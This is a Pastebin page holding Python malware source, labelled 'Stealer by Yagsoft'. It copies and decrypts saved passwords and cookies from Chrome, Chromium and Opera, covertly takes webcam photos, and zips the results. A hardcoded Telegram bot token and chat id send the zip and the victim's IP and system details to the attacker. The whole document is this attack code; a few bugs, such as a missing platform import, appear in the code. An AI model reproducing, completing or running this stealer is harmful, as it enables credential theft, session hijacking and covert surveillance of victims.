SHARE
TWEET

Untitled

a guest Dec 5th, 2019 171 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os
  2. import sqlite3
  3. import win32crypt
  4. import telebot
  5. import shutil
  6. import requests
  7. import zipfile
  8. from PIL import ImageGrab
  9. import cv2
  10. import sys
  11.  
  12.  
  13. username = os.getlogin()
  14.  
  15. token = '717871825:AAEa-aQYoO3KibUyjVu1Ag4ZjuxAaxsmK1s'
  16. chat_id = '316099656'
  17. bot = telebot.TeleBot(token)
  18.  
  19. #-------------------------------------------
  20. #              код стилера                 |
  21. #-------------------------------------------
  22.  
  23. def Chrome():
  24.    text = 'Stealer by Yagsoft\n\n\nPasswords Chrome:' + '\n'
  25.    text += 'URL | LOGIN | PASSWORD' + '\n'
  26.    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
  27.        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
  28.  
  29.        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
  30.        cursor = conn.cursor()
  31.        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  32.        for result in cursor.fetchall():
  33.            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  34.            login = result[1]
  35.            url = result[0]
  36.            if password != '':
  37.                text += url + ' | ' + login + ' | ' + password + '\n'
  38.    return text
  39. file = open(os.getenv("APPDATA") + '\\passwords-chrome.txt', "w+")
  40. file.write(str(Chrome()) + '\n')
  41. file.close()
  42.  
  43. def Chrome_cockie():
  44.    textc = 'Stealer by Yagsoft\n\n\nCookies Chrome:' + '\n'
  45.    textc += 'URL | COOKIE | COOKIE NAME' + '\n'
  46.    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
  47.        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
  48.        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
  49.        cursor = conn.cursor()
  50.        cursor.execute("SELECT * from cookies")
  51.        for result in cursor.fetchall():
  52.            cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  53.            name = result[2]
  54.            url = result[1]
  55.            textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
  56.    return textc
  57. file = open(os.getenv("APPDATA") + '\\cookies-chrome.txt', "w+")
  58. file.write(str(Chrome_cockie()) + '\n')
  59. file.close()
  60.  
  61.  
  62. cap = cv2.VideoCapture(0)
  63. for i in range(5):
  64.     cap.read()
  65. ret, frame = cap.read()
  66. cv2.imwrite(os.getenv("APPDATA") + '\\cam.png', frame)
  67. cap.release()
  68.  
  69. def chromium():
  70.    textch = '\n' + 'Stealer by Yagsoft\n\n\nChromium Passwords:' + '\n'
  71.    textch += 'URL | LOGIN | PASSWORD' + '\n'
  72.    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
  73.        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
  74.        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
  75.        cursor = conn.cursor()
  76.        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  77.        for result in cursor.fetchall():
  78.            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  79.            login = result[1]
  80.            url = result[0]
  81.            if password != '':
  82.                textch += url + ' | ' + login + ' | ' + password + '\n'
  83.                return textch
  84. file = open(os.getenv("APPDATA") + '\\passwords-chromium.txt', "w+")
  85. file.write(str(chromium()) + '\n')
  86. file.close()
  87.  
  88. def chromiumc():
  89.    textchc = ''
  90.    textchc += '\n' + 'Stealer by Yagsoft\n\n\nChromium Cookies:' + '\n'
  91.    textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
  92.    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
  93.        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
  94.        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
  95.        cursor = conn.cursor()
  96.        cursor.execute("SELECT * from cookies")
  97.        for result in cursor.fetchall():
  98.            cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  99.            name = result[2]
  100.            url = result[1]
  101.            textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
  102.    return textchc
  103. file = open(os.getenv("APPDATA") + '\\cookies-chromium.txt', "w+")
  104. file.write(str(chromiumc()) + '\n')
  105. file.close()
  106.  
  107. cap = cv2.VideoCapture(0)
  108. for i in range(30):
  109.     cap.read()
  110. ret, frame = cap.read()
  111. cv2.imwrite(os.getenv("APPDATA") + '\\webcam.jpg', frame)
  112. cap.release()
  113.  
  114. def Opera():
  115.    texto = 'Stealer by Yagsoft\n\nPasswords Opera:' + '\n'
  116.    texto += 'URL | LOGIN | PASSWORD' + '\n'
  117.    if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
  118.        shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
  119.        conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
  120.        cursor = conn.cursor()
  121.        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  122.        for result in cursor.fetchall():
  123.            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  124.            login = result[1]
  125.            url = result[0]
  126.            if password != '':
  127.                texto += url + ' | ' + login + ' | ' + password + '\n'
  128.  
  129. file = open(os.getenv("APPDATA") + '\\passwords-opera.txt', "w+")
  130. file.write(str(Opera()) + '\n')
  131. file.close()
  132.  
  133. def Opera_c():
  134.     textoc = 'Stealer by Yagsoft\n\n' + 'Cookies Opera:' + '\n'
  135.     textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
  136.     if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
  137.       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
  138.       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
  139.       cursor = conn.cursor()
  140.       cursor.execute("SELECT * from cookies")
  141.       for result in cursor.fetchall():
  142.            cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  143.            name = result[2]
  144.            url = result[1]
  145.            textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
  146.     return textoc
  147.  
  148. file = open(os.getenv("APPDATA") + '\\cookies-opera.txt', "w+")
  149. file.write(str(Opera_c()) + '\n')
  150. file.close()
  151.  
  152. def info():    
  153.     r = requests.get('http://ip.42.pl/raw')
  154.     IP = r.text
  155.     windows = platform.platform()
  156.     processor = platform.processor()
  157.     systemali = platform.version()
  158.     bot.send_message(chat_id, "PC: " + username + "\nIP: " + IP + "\nOS: " + windows +
  159.         "\nProcessor: " + processor + "\nVersion OS : " + systemali)
  160.  
  161. zname=r'C:\ProgramData\system.zip'
  162. newzip=zipfile.ZipFile(zname,'w')
  163. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\passwords-chrome.txt')
  164. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\cookies-chrome.txt')
  165. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\passwords-chromium.txt')
  166. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\cookies-chromium.txt')
  167. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\passwords-opera.txt')
  168. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\cookies-opera.txt')
  169. newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\webcam.jpg')
  170. newzip.close()
  171.  
  172. doc = open("C:\ProgramData\system.zip", 'rb')
  173.  
  174. bot.send_document(316099656, doc)
  175. info()
  176. os.remove("C:\ProgramData\system.zip")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top